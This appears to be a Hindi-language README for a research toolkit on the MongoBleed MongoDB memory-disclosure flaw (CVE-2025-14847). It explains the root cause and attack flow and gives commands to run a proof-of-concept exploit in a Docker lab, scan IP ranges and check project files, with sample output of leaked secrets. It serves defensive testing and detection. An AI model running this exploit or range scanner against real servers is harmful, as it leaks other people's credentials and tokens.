🩸 MongoBleed - CVE-2025-14847 सुरक्षा अनुसंधान प्रयोगशाला
CVE-2025-14847 | CVSS 8.7 (उच्च) | बिना प्रमाणीकरण के मेमोरी डिस्क्लोज़र
CVE-2025-14847, जिसे MongoBleed नाम दिया गया है, बिना प्रमाणीकरण वाले रिमोट हमलावरों को MongoDB के zlib डिकंप्रेशन लॉजिक का फायदा उठाकर अप्रारंभित हीप मेमोरी निकालने की अनुमति देता है। यह उच्च-गंभीरता वाला दोष संवेदनशील आर्टिफैक्ट्स को उजागर करता है, जिनमें सादे-पाठ क्रेडेंशियल्स और सत्र टोकन शामिल हैं, जो लेटरल मूवमेंट और पूर्ण सर्वर अधिग्रहण के लिए एक रोडमैप प्रदान करता है।
📖 पूर्ण दस्तावेज़ीकरण →
इंजीनियरिंग टीमों के लिए TL;DR
| पहलू | विवरण |
|---|
| क्या कमजोर है | MongoDB सर्वर नेटवर्क ट्रांसपोर्ट परत जो zlib कम्प्रेशन का उपयोग करती है |
| गंभीरता | उच्च (CVSS 8.7/7.5) |
| प्रभाव | बिना प्रमाणीकरण के, अप्रारंभित हीप मेमोरी का रिमोट डिस्क्लोज़र |
| यह क्यों मायने रखता है | लीक हुए टुकड़ों में डेटाबेस पासवर्ड, AWS सीक्रेट कुंजियाँ और आंतरिक सर्वर स्थितियाँ होती हैं |
| एक्सप्लॉइट स्थिति | सार्वजनिक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) "mongobleed" मान्य है और प्रसारित हो रहा है |
| आज क्या करें | तुरंत पैच किए गए संस्करणों में अपग्रेड करें या zlib कम्प्रेशन अक्षम करें |
एक्सपोज़र पैमाना
- 87,000 - 194,000 MongoDB इंस्टेंस सार्वजनिक रूप से एक्सपोज़्ड
- 42% क्लाउड वातावरण प्रभावित (Wiz Research)
- कोई प्रमाणीकरण आवश्यक नहीं - प्री-ऑथ एक्सप्लॉइट
🔬 कमजोरी की शारीरिक रचना
तकनीकी विश्लेषण
यह कमजोरी MongoDB के नेटवर्क ट्रांसपोर्ट परत (message_compressor_zlib.cpp) में मौजूद है, जहाँ zlib डिकंप्रेशन लॉजिक में एक गंभीर दोष बिना प्रमाणीकरण वाले हमलावरों को संवेदनशील सर्वर मेमोरी लीक करने की अनुमति देता है।
मूल कारण
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
एक्सप्लॉइटेशन प्रवाह
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
प्रभावित संस्करण
खोज की समयरेखा
| तिथि | घटना |
|---|
| 15 दिसंबर 2025 | कमजोरी की पहचान की गई; आंतरिक टिकट SERVER-115508 |
|
📁 परियोजना संरचना
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Exploit Lab
│ ├── docker-compose.yml # Vulnerable + Patched MongoDB instances
│ ├── mongobleed.py # Memory leak exploit PoC
│ ├── init/init-mongo.js # Sensitive test data
│ ├── test-exploit.sh # Lab test script
│ └── README.md # Lab documentation
│
├── scanner/ # 🌐 Network Scanner
│ ├── mongobleed_scanner.py # IP/domain vulnerability scanner
│ ├── sample-targets.txt # Sample targets file
│ └── README.md # Scanner documentation
│
├── code-scan/ # 📂 Code Scanner
│ ├── main.py # CLI entry point
│ ├── scanners/ # Docker, Python, Infra scanners
│ ├── models/ # Finding, Vulnerability models
│ ├── integrations/ # Phoenix Security upload
│ └── README.md # Code scanner documentation
│
└── original-exploit/ # 📚 Original PoC reference
🚀 त्वरित आरंभ
1. एक्सप्लॉइट लैब
cd exploit
# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10
# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017
# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018
# Full lab test
./test-exploit.sh
2. नेटवर्क स्कैनर
cd scanner
# Scan single host
python3 mongobleed_scanner.py 192.168.1.100
# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24
# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
3. कोड स्कैनर
cd code-scan
# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project
# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Run tests
python3 main.py test
⚡ त्वरित कमांड्स
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10
# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017
# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018
# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .
# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
📊 आउटपुट उदाहरण
एक्सप्लॉइट आउटपुट
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
नेटवर्क स्कैनर आउटपुट
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
कोड स्कैनर आउटपुट
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
🔗 Phoenix Security इंटीग्रेशन
सभी स्कैनर Phoenix Security प्लेटफ़ॉर्म पर निष्कर्ष अपलोड करने का समर्थन करते हैं:
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
🔐 सुरक्षा सूचना
⚠️ महत्वपूर्ण: यह टूलकिट केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
- केवल उन सिस्टमों का परीक्षण करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है
- कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है
- लीक किया गया डेटा संवेदनशील जानकारी हो सकती है - जिम्मेदारी से संभालें
- कमजोरियों की रिपोर्ट उचित डिस्क्लोज़र चैनलों के माध्यम से करें
📚 दस्तावेज़ीकरण
🔗 बाहरी संदर्भ
👤 श्रेय
- मूल एक्सप्लॉइट Joe Desimone (@dez_) द्वारा
- सुरक्षा अनुसंधान के लिए लैब वातावरण और स्कैनर संवर्द्धन
📄 लाइसेंस
केवल अधिकृत सुरक्षा परीक्षण के लिए। जिम्मेदारी से उपयोग करें।
अंतिम अपडेट: दिसंबर 2025